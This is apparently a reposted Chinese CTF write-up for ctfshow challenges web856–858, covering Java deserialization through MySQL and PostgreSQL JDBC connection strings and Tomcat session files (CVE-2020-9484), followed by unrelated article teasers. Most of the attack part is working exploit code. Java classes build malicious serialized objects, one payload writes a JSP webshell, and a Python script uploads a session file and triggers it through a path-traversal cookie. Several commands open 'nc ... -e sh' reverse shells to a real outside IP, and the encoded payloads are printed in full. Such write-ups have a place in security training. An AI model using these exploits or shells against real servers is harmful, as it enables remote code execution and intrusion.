41%41%41%41%51%41%58%41%42%67%41%41%67%41%5a%41%41%41%41%42%41%41%42%41%42%6f%41%41%51%41%54%41%42%73%41%41%67%41%4d%41%41%41%41%53%51%41%41%41%41%51%41%41%41%41%42%73%51%41%41%41%41%49%41%44%51%41%41%41%41%59%41%41%51%41%41%41%44%67%41%44%67%41%41%41%43%6f%41%42%41%41%41%41%41%45%41%44%77%41%34%41%41%41%41%41%41%41%42%41%42%55%41%46%67%41%42%41%41%41%41%41%51%41%63%41%42%30%41%41%67%41%41%41%41%45%41%48%67%41%66%41%41%4d%41%47%51%41%41%41%41%51%41%41%51%41%61%41%41%67%41%4b%51%41%4c%41%41%45%41%44%41%41%41%41%43%51%41%41%77%41%43%41%41%41%41%44%36%63%41%41%77%46%4d%75%41%41%76%45%6a%47%32%41%44%56%58%73%51%41%41%41%41%45%41%4e%67%41%41%41%41%4d%41%41%51%4d%41%41%67%41%67%41%41%41%41%41%67%41%68%41%42%45%41%41%41%41%4b%41%41%45%41%41%67%41%6a%41%42%41%41%43%58%56%78%41%48%34%41%49%77%41%41%41%64%54%4b%2f%72%71%2b%41%41%41%41%4d%67%41%62%43%67%41%44%41%42%55%48%41%42%63%48%41%42%67%48%41%42%6b%42%41%42%42%7a%5a%58%4a%70%59%57%78%57%5a%58%4a%7a%61%57%39%75%56%55%6c%45%41%51%41%42%53%67%45%41%44%55%4e%76%62%6e%4e%30%59%57%35%30%56%6d%46%73%64%57%55%46%63%65%5a%70%37%6a%78%74%52%78%67%42%41%41%59%38%61%57%35%70%64%44%34%42%41%41%4d%6f%4b%56%59%42%41%41%52%44%62%32%52%6c%41%51%41%50%54%47%6c%75%5a%55%35%31%62%57%4a%6c%63%6c%52%68%59%6d%78%6c%41%51%41%53%54%47%39%6a%59%57%78%57%59%58%4a%70%59%57%4a%73%5a%56%52%68%59%6d%78%6c%41%51%41%45%64%47%68%70%63%77%45%41%41%30%5a%76%62%77%45%41%44%45%6c%75%62%6d%56%79%51%32%78%68%63%33%4e%6c%63%77%45%41%4a%55%78%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%45%5a%76%62%7a%73%42%41%41%70%54%62%33%56%79%59%32%56%47%61%57%78%6c%41%51%41%4d%52%32%46%6b%5a%32%56%30%63%79%35%71%59%58%5a%68%44%41%41%4b%41%41%73%48%41%42%6f%42%41%43%4e%35%63%32%39%7a%5a%58%4a%70%59%57%77%76%63%47%46%35%62%47%39%68%5a%48%4d%76%64%58%52%70%62%43%39%48%59%57%52%6e%5a%58%52%7a%4a%45%5a%76%62%77%45%41%45%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%50%59%6d%70%6c%59%33%51%42%41%42%52%71%59%58%5a%68%4c%32%6c%76%4c%31%4e%6c%63%6d%6c%68%62%47%6c%36%59%57%4a%73%5a%51%45%41%48%33%6c%7a%62%33%4e%6c%63%6d%6c%68%62%43%39%77%59%58%6c%73%62%32%46%6b%63%79%39%31%64%47%6c%73%4c%30%64%68%5a%47%64%6c%64%48%4d%41%49%51%41%43%41%41%4d%41%41%51%41%45%41%41%45%41%47%67%41%46%41%41%59%41%41%51%41%48%41%41%41%41%41%67%41%49%41%41%45%41%41%51%41%4b%41%41%73%41%41%51%41%4d%41%41%41%41%4c%77%41%42%41%41%45%41%41%41%41%46%4b%72%63%41%41%62%45%41%41%41%41%43%41%41%30%41%41%41%41%47%41%41%45%41%41%41%41%38%41%41%34%41%41%41%41%4d%41%41%45%41%41%41%41%46%41%41%38%41%45%67%41%41%41%41%49%41%45%77%41%41%41%41%49%41%46%41%41%52%41%41%41%41%43%67%41%42%41%41%49%41%46%67%41%51%41%41%6c%77%64%41%41%45%55%48%64%75%63%6e%42%33%41%51%42%34%64%58%49%41%45%6c%74%4d%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6b%4e%73%59%58%4e%7a%4f%36%73%57%31%36%37%4c%7a%56%71%5a%41%67%41%41%65%48%41%41%41%41%41%42%64%6e%49%41%48%57%70%68%64%6d%46%34%4c%6e%68%74%62%43%35%30%63%6d%46%75%63%32%5a%76%63%6d%30%75%56%47%56%74%63%47%78%68%64%47%56%7a%41%41%41%41%41%41%41%41%41%41%41%41%41%41%42%34%63%48%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%42%33%43%41%41%41%41%42%41%41%41%41%41%41%65%48%68%32%63%67%41%53%61%6d%46%32%59%53%35%73%59%57%35%6e%4c%6b%39%32%5a%58%4a%79%61%57%52%6c%41%41%41%41%41%41%41%41%41%41%41%41%41%41%42%34%63%48%45%41%66%67%41%75

web856

考察JDBC反序列化，并给了User类和Connection类代码

Connection类源码如下：

package com.ctfshow.entity;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;
 
public class Connection implements Serializable {
 
    private static final long serialVersionUID = 2807147458202078901L;
 
    private String driver;
 
    private String schema;
    private String host;
    private int port;
    private User user;
    private String database;
 
    public String getDriver() {
        return driver;
    }
 
    public void setDriver(String driver) {
        this.driver = driver;
    }
 
    public String getSchema() {
        return schema;
    }
 
    public void setSchema(String schema) {
        this.schema = schema;
    }
 
    public void setPort(int port) {
        this.port = port;
    }
 
    public String getHost() {
        return host;
    }
 
    public void setHost(String host) {
        this.host = host;
    }
 
 
    public User getUser() {
        return user;
    }
 
    public void setUser(User user) {
        this.user = user;
    }
 
    public String getDatabase() {
        return database;
    }
 
    public void setDatabase(String database) {
        this.database = database;
    }
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        ObjectInputStream.GetField gf = in.readFields();
        String host = (String) gf.get("host", "127.0.0.1");
        int port = (int) gf.get("port",3306);
        User user = (User) gf.get("user",new User("root","root"));
        String database = (String) gf.get("database", "ctfshow");
        String schema = (String) gf.get("schema", "jdbc:mysql");
        DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
    }
 
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Connection)) return false;
        Connection that = (Connection) o;
        return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
    }
 
    @Override
    public int hashCode() {
        return Objects.hash(host, port, user, database);
    }
}

User类源码如下：

package com.ctfshow.entity;
 
import java.io.*;
 
public class User implements Serializable {
    private static final long serialVersionUID = -7205095498817563965L;
    private String username;
    private String password;
 
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
 
    public String getUsername() {
        return username;
    }
 
    public void setUsername(String username) {
        this.username = username;
    }
 
    public String getPassword() {
        return password;
    }
 
    public void setPassword(String password) {
        this.password = password;
    }
 
 
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return this.hashCode() == user.hashCode();
    }
 
    @Override
    public int hashCode() {
        return username.hashCode()+password.hashCode();
    }
 
 
 
 
}

构造exp:

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"124.222.136.33");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,3306);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("yso_CommonsCollections4_nc 124.222.136.33 1337 -e sh","123456"));  
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
        schema.set(connection,"jdbc:mysql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
        serialize(connection);
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

}

最终payload:

ctfshow=%72%4f%30%41%42%58%4e%79%41%42%31%6a%62%32%30%75%59%33%52%6d%63%32%68%76%64%79%35%6c%62%6e%52%70%64%48%6b%75%51%32%39%75%62%6d%56%6a%64%47%6c%76%62%69%62%30%2f%62%32%47%52%6f%36%31%41%67%41%47%53%51%41%45%63%47%39%79%64%45%77%41%43%47%52%68%64%47%46%69%59%58%4e%6c%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%47%5a%48%4a%70%64%6d%56%79%63%51%42%2b%41%41%46%4d%41%41%52%6f%62%33%4e%30%63%51%42%2b%41%41%46%4d%41%41%5a%7a%59%32%68%6c%62%57%46%78%41%48%34%41%41%55%77%41%42%48%56%7a%5a%58%4a%30%41%42%6c%4d%59%32%39%74%4c%32%4e%30%5a%6e%4e%6f%62%33%63%76%5a%57%35%30%61%58%52%35%4c%31%56%7a%5a%58%49%37%65%48%41%41%41%41%7a%71%64%41%41%77%5a%47%56%30%5a%57%4e%30%51%33%56%7a%64%47%39%74%51%32%39%73%62%47%46%30%61%57%39%75%63%7a%31%30%63%6e%56%6c%4a%6d%46%31%64%47%39%45%5a%58%4e%6c%63%6d%6c%68%62%47%6c%36%5a%54%31%30%63%6e%56%6c%63%48%51%41%44%6a%45%79%4e%43%34%79%4d%6a%49%75%4d%54%4d%32%4c%6a%4d%7a%64%41%41%4b%61%6d%52%69%59%7a%70%74%65%58%4e%78%62%48%4e%79%41%42%64%6a%62%32%30%75%59%33%52%6d%63%32%68%76%64%79%35%6c%62%6e%52%70%64%48%6b%75%56%58%4e%6c%63%70%77%43%57%39%46%73%4e%70%4c%44%41%67%41%43%54%41%41%49%63%47%46%7a%63%33%64%76%63%6d%52%78%41%48%34%41%41%55%77%41%43%48%56%7a%5a%58%4a%75%59%57%31%6c%63%51%42%2b%41%41%46%34%63%48%51%41%42%6a%45%79%4d%7a%51%31%4e%6e%51%41%4e%48%6c%7a%62%31%39%44%62%32%31%74%62%32%35%7a%51%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%30%58%32%35%6a%49%44%45%79%4e%43%34%79%4d%6a%49%75%4d%54%4d%32%4c%6a%4d%7a%49%44%45%7a%4d%7a%63%67%4c%57%55%67%63%32%67%3d

成功反弹shell

web857

依然是JDBC反序列化，但数据库换成了pgsql

奇安信攻防社区-PostgreSQL JDBC Driver RCE（CVE-2022-21724）与任意文件写入漏洞利用与分析

因为Connection类设置了默认的ip和端口，不符合文章里直接RCE的特征，所以考虑任意文件写入

 

 exp:

package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field driver = aClass.getDeclaredField("driver");
        driver.setAccessible(true);
        driver.set(connection,"org.postgresql.Driver");
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"124.222.136.33");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,3306);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("Jdk7u21","123456"));
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
        schema.set(connection,"jdbc:postgresql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/yjh.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>");

        serialize(connection);
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

}

关于目录

Tomcat 的 web 目录结构通常如下所示：

  1. webapps 目录：

    • ROOT：默认的 Web 应用程序根目录，对应 URL 中的 /。
    • 其他应用程序目录：每个独立的 Web 应用程序一般会被放置在单独的目录中，例如 myapp、anotherapp 等。

  2. Web 应用程序目录结构：

    • WEB-INF 目录：
      • web.xml：Web 应用程序的部署描述文件，配置 Servlet、Filter、Listener 等。
      • classes 目录：存放编译后的 Java 类文件（.class 文件）和资源文件。
      • lib 目录：存放 Web 应用程序依赖的第三方库（JAR 文件）。
    • 静态资源目录：存放 HTML、CSS、JavaScript、图片等静态资源文件。
    • JSP 文件目录：存放 JSP 文件。

  3. 示例目录结构（以 myapp 为例）：

/webapps
├── myapp
│   ├── WEB-INF
│   │   ├── web.xml
│   │   ├── classes
│   │   │   └── com
│   │   │       └── example
│   │   │           └── MyClass.class
│   │   ├── lib
│   │   │   └── library.jar
│   ├── index.html
│   ├── styles.css
│   ├── script.js
│   ├── page.jsp

payload:

ctfshow=%72%4f%30%41%42%58%4e%79%41%42%31%6a%62%32%30%75%59%33%52%6d%63%32%68%76%64%79%35%6c%62%6e%52%70%64%48%6b%75%51%32%39%75%62%6d%56%6a%64%47%6c%76%62%69%62%30%2f%62%32%47%52%6f%36%31%41%67%41%47%53%51%41%45%63%47%39%79%64%45%77%41%43%47%52%68%64%47%46%69%59%58%4e%6c%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%47%5a%48%4a%70%64%6d%56%79%63%51%42%2b%41%41%46%4d%41%41%52%6f%62%33%4e%30%63%51%42%2b%41%41%46%4d%41%41%5a%7a%59%32%68%6c%62%57%46%78%41%48%34%41%41%55%77%41%42%48%56%7a%5a%58%4a%30%41%42%6c%4d%59%32%39%74%4c%32%4e%30%5a%6e%4e%6f%62%33%63%76%5a%57%35%30%61%58%52%35%4c%31%56%7a%5a%58%49%37%65%48%41%41%41%41%7a%71%64%41%42%2b%63%47%46%7a%63%33%64%76%63%6d%51%39%4d%54%49%7a%4e%44%55%32%4a%6d%78%76%5a%32%64%6c%63%6b%78%6c%64%6d%56%73%50%57%52%6c%59%6e%56%6e%4a%6d%78%76%5a%32%64%6c%63%6b%5a%70%62%47%55%39%4c%69%34%76%64%32%56%69%59%58%42%77%63%79%39%53%54%30%39%55%4c%33%6c%71%61%43%35%71%63%33%41%6d%50%43%56%53%64%57%35%30%61%57%31%6c%4c%6d%64%6c%64%46%4a%31%62%6e%52%70%62%57%55%6f%4b%53%35%6c%65%47%56%6a%4b%48%4a%6c%63%58%56%6c%63%33%51%75%5a%32%56%30%55%47%46%79%59%57%31%6c%64%47%56%79%4b%43%4a%70%49%69%6b%70%4f%79%55%2b%64%41%41%56%62%33%4a%6e%4c%6e%42%76%63%33%52%6e%63%6d%56%7a%63%57%77%75%52%48%4a%70%64%6d%56%79%64%41%41%4f%4d%54%49%30%4c%6a%49%79%4d%69%34%78%4d%7a%59%75%4d%7a%4e%30%41%41%39%71%5a%47%4a%6a%4f%6e%42%76%63%33%52%6e%63%6d%56%7a%63%57%78%7a%63%67%41%58%59%32%39%74%4c%6d%4e%30%5a%6e%4e%6f%62%33%63%75%5a%57%35%30%61%58%52%35%4c%6c%56%7a%5a%58%4b%63%41%6c%76%52%62%44%61%53%77%77%49%41%41%6b%77%41%43%48%42%68%63%33%4e%33%62%33%4a%6b%63%51%42%2b%41%41%46%4d%41%41%68%31%63%32%56%79%62%6d%46%74%5a%58%45%41%66%67%41%42%65%48%42%30%41%41%59%78%4d%6a%4d%30%4e%54%5a%30%41%41%64%4b%5a%47%73%33%64%54%49%78

先成功写马 

再访问/yjh.php，用nc反弹shell

成功反弹

web858

考察tomcat的session反序列化

Tomcat Session(CVE-2020-9484)反序列化 - 简书

 先随便上传一个文件看看上传路径

抓包看到调用的接口

看下User类

package com.ctfshow.entity;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
 
public class User implements Serializable {
    private static final long serialVersionUID = -3254536114659397781L;
    private String username;
    private String password;
 
    public String getUsername() {
        return username;
    }
 
    public void setUsername(String username) {
        this.username = username;
    }
 
    public String getPassword() {
        return password;
    }
 
    public void setPassword(String password) {
        this.password = password;
    }
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.username);
    }
 
 
}

exp:

package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, InstantiationException, IOException, ClassNotFoundException {
        
        Class userClass = User.class;
        //创建User实例
        User user = (User)userClass.newInstance();
        //获取username属性
        Field usernameField = userClass.getDeclaredField("username");
        //给属性加权限
        usernameField.setAccessible(true);
        //设置username属性
        usernameField.set(user,"nc  124.222.136.33 1337    -e /bin/sh");


        //获取文件输出流
        FileOutputStream fos = new FileOutputStream("exp.session");
        //获取对象输出流
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        //序列化
        oos.writeObject(user);

    }
}
import requests

url = "http://dfdbd0a0-732e-4512-9113-29d786ce39fb.challenge.ctf.show"
files = {'file': ('exp.session', open('exp.session','rb').read(), 'image/png')}
r = requests.post(url+"/file/upload", files=files)
r2 = requests.get(url, cookies={
    'JSESSIONID': '../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/exp'})

监听端口，成功反弹shell

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1456335.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Postgresql 怎么实现在局域网中访问

Postgresql 怎么实现在局域网中访问

安装PostgreSQL后&#xff0c;默认情况下只能在本机进行连接访问&#xff0c;如果需要在其他主机上访问PostgreSQL数据库服务器&#xff0c;需要进行配置。 安装连接PostgresSQL数据库可以参考博文&#xff1a;安装连接PostgresSQL数据库教程 一. 整体步骤 主要包括下面几个步…
阅读更多...
Unity3D Shader 素描风格渲染管线实现详解

Unity3D Shader 素描风格渲染管线实现详解

前言 在游戏开发中&#xff0c;渲染效果是非常重要的一部分&#xff0c;它可以直接影响游戏的视觉效果和玩家的体验。而素描风格的渲染效果是一种非常独特和有趣的风格&#xff0c;可以为游戏增添一种艺术氛围。在Unity3D中&#xff0c;可以通过编写Shader来实现素描风格的渲染…
阅读更多...
家中R4S软路由iStoreOS配置内网穿透服务实现远程访问公司电脑桌面

家中R4S软路由iStoreOS配置内网穿透服务实现远程访问公司电脑桌面

文章目录 简介一、配置远程桌面公网地址二、家中使用永久固定地址 访问公司电脑**具体操作方法是&#xff1a;** 简介 软路由是PC的硬件加上路由系统来实现路由器的功能&#xff0c;也可以说是使用软件达成路由功能的路由器。 使用软路由控制局域网内计算机的好处&#xff1a…
阅读更多...
Deepin基本环境查看（十一）[补齐碎片之旅（中）-基本附件（输入法、记事本、写字板、计算器、画图、播放器、浏览器、远程桌面）

Deepin基本环境查看（十一）[补齐碎片之旅（中）-基本附件（输入法、记事本、写字板、计算器、画图、播放器、浏览器、远程桌面）

Deepin基本环境查看&#xff08;十一&#xff09;[补齐碎片之旅&#xff08;中&#xff09;-基本附件&#xff08;输入法、记事本、写字板、计算器、画图、播放器、浏览器、远程桌面&#xff09;] - 相关文章目录1、概述2、基础附件1&#xff09;输入法2&#xff09;记事本3&am…
阅读更多...
天然肠衣市场分析：预计到2025年将达到45亿美元

天然肠衣市场分析：预计到2025年将达到45亿美元

肠衣作为包装香肠馅料的原材料一般分为可食用和不可食用两种&#xff0c;其中天然肠是由猪、羊等家畜多层肠道制作而成的&#xff0c;近些年来天然肠衣在全球市场需求不断增加。一、全球市场分析 1. 市场规模&#xff1a;根据市场研究机构的数据&#xff0c;2019年全球天然肠衣…
阅读更多...
【Prometheus】node-exporter、server、Grafana安装与配置

【Prometheus】node-exporter、server、Grafana安装与配置

基于Prometheus和K8S构建智能化告警系统 一、Prometheus对kubernetes的监控二、node-exporter组件安装和配置2.1、node-exporter介绍2.2、安装node-exporter【1】拉取镜像【2】编写yaml文件【3】运行pod【4】获取数据 三、Prometheus server安装和配置3.1、创建sa账号&#xff…
阅读更多...
技能下载中：Sora视频让机器人秒学任何技艺！

技能下载中：Sora视频让机器人秒学任何技艺！

视频&#xff1a;技能下载中&#xff1a;Sora视频让机器人秒学任何技艺&#xff01; 引言 在机器人成为平凡工匠和前沿先驱的时代&#xff0c;我们正站在新黎明的边缘。本文将探讨斯坦福大学的通用操作接口&#xff08;UMI&#xff09;及其与OpenAI的Sora如何共同推进机器人技…
阅读更多...
【Linux系统化学习】深入理解文件系统(Ext2文件系统)

【Linux系统化学习】深入理解文件系统(Ext2文件系统)

目录 前言 磁盘的物理结构 物理结构 磁头和盘片工作解析图 盘面区域划分图&#xff08;俯视盘面图&#xff09; 扇区的寻址、定位&#xff08;CHS定位&#xff09; 磁盘存储的逻辑抽象结构 LBA定址 文件系统 磁盘分区 EXT2文件系统 组块中的信息介绍 查看inode编号…
阅读更多...
AIGC专题：生成式人工智能在能源和材料领域中的新机遇

AIGC专题：生成式人工智能在能源和材料领域中的新机遇

今天分享的是AIGC系列深度研究报告&#xff1a;《AIGC专题&#xff1a;生成式人工智能在能源和材料领域中的新机遇》。 &#xff08;报告出品方&#xff1a;McKinsey & Company&#xff09; 报告共计&#xff1a;11页 来源&#xff1a;人工智能学派 利用人工智能的力量…
阅读更多...
Python Flask Web + PyQt 前后端分离的项目—学习成绩可视化分析系统

Python Flask Web + PyQt 前后端分离的项目—学习成绩可视化分析系统

简介 使用工具&#xff1a; Python&#xff0c;PyQt &#xff0c;Flask &#xff0c;MySQL 注&#xff1a;制作重点在网页端&#xff0c;因此网页端的功能更全 WEB界面展示: 系统登录分为管理员&#xff0c;老师&#xff0c;学生3部分 管理员统一管理所有的账号信息以及登录…
阅读更多...
jvm、jre、jdk的关系

jvm、jre、jdk的关系

jvm Java 虚拟机&#xff08;JVM&#xff09;是运行 Java 字节码的虚拟机。 jre JRE&#xff08;Java Runtime Environment&#xff09; 是 Java 运行时环境。它是运行已编译 Java 程序所需的所有内容的集合&#xff0c;主要包括 Java 虚拟机&#xff08;JVM&#xff09;、J…
阅读更多...
Servlet验证技术

Servlet验证技术

验证技术 验证是验证用户信息并确定该用户是否有权访问服务器资源的过程。用于验证用户信息的各种验证技术包括： 基本验证基于表单的验证摘要验证客户机整数验证1. 基本验证 网站可能包含两种类型的网站，即受保护和不受保护网页。默认情况下，所有用户都可以访问不受保护或者…
阅读更多...
【Java EE初阶十八】网络原理（三）

【Java EE初阶十八】网络原理（三）

3. 网络层 网络层要做的事情主要是两方面&#xff1a; 1)、地址管理&#xff1a;制定一系列的规则,通过地址,描述出网络上一个设备的位置&#xff1b; 2)、路由选择&#xff1a;网络环境是比较复杂的&#xff0c;从一个节点到另一个节点之间&#xff0c;存在很…
阅读更多...
【7】知识融合

【7】知识融合

知识融合&#xff08;也称本体对齐、本体匹配、实体对齐&#xff09;&#xff0c;即合并两个知识图谱(本体)&#xff0c;基本的问题都是研究怎样将来自多个来源的关于同一个实体或概念的描述信息融合起来。 需要确认的是&#xff1a; 等价实例&#xff1a;实体的匹配&#xf…
阅读更多...
C++ 调用js 脚本

C++ 调用js 脚本

需求&#xff1a; 使用Qt/C 调用js 脚本。Qt 调用lua 脚本性能应该是最快的&#xff0c;但是需要引入第三方库&#xff0c;虽然也不是特别麻烦&#xff0c;但是调用js脚本&#xff0c;确实内置的功能&#xff08;C 调用lua 脚本-CSDN博客&#xff09; 步骤&#xff1a; 1&…
阅读更多...
redis 值中文显示乱码

redis 值中文显示乱码

问题&#xff1a; 解决办法&#xff1a; exit退出 进入时添加 --raw参数
阅读更多...
ChatGPT魔法1： 背后的原理

ChatGPT魔法1： 背后的原理

1. AI的三个阶段 1&#xff09; 上世纪50~60年代&#xff0c;计算机刚刚产生 2&#xff09; Machine learning 3&#xff09; Deep learning&#xff0c; 有神经网络&#xff0c; 最有代表性的是ChatGPT, GPT(Generative Pre-Trained Transformer) 2. 深度神经网络 llya Suts…
阅读更多...
小学校园气象站：气象科普与校园安全的新伙伴

小学校园气象站：气象科普与校园安全的新伙伴

【TH-XQ2】近年来&#xff0c;随着气候变化和极端天气的频发&#xff0c;气象科普逐渐受到了社会各界的关注。而在小学校园中&#xff0c;校园气象站设备的引入&#xff0c;不仅为气象科普提供了一个生动的实践平台&#xff0c;同时也为校园安全提供了新的保障。 小学校园气象…
阅读更多...
【JavaEE】_线程的状态与转移

【JavaEE】_线程的状态与转移

目录 1. 线程的状态 1.1 NEW 1.2 RUNNABLE 1.3 BLOCKED 1.4 WAITING 1.5 TIMED_WAITING 1.6 TERMINATED 2. 线程状态的转移 在多线程Thread类相关一文中已经介绍过进程的状态&#xff1a;就绪状态与阻塞状态&#xff1b; 若需详情请查看原文&#xff0c;链接如下&#…
阅读更多...
防御第五次------防火墙综合实验

防御第五次------防火墙综合实验

实验要求 1、办公区设备可以通过电信链路和移动链路上网(多对多的NAT、并且需要保留一个公网IP不能用来转换)。 2、分公司的设备可以通过总公司的移动链路和电信链路访问到DMZ区的http服务器 3、分公司内部的客户端可以通过公网地址访问到内部的服务器。
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023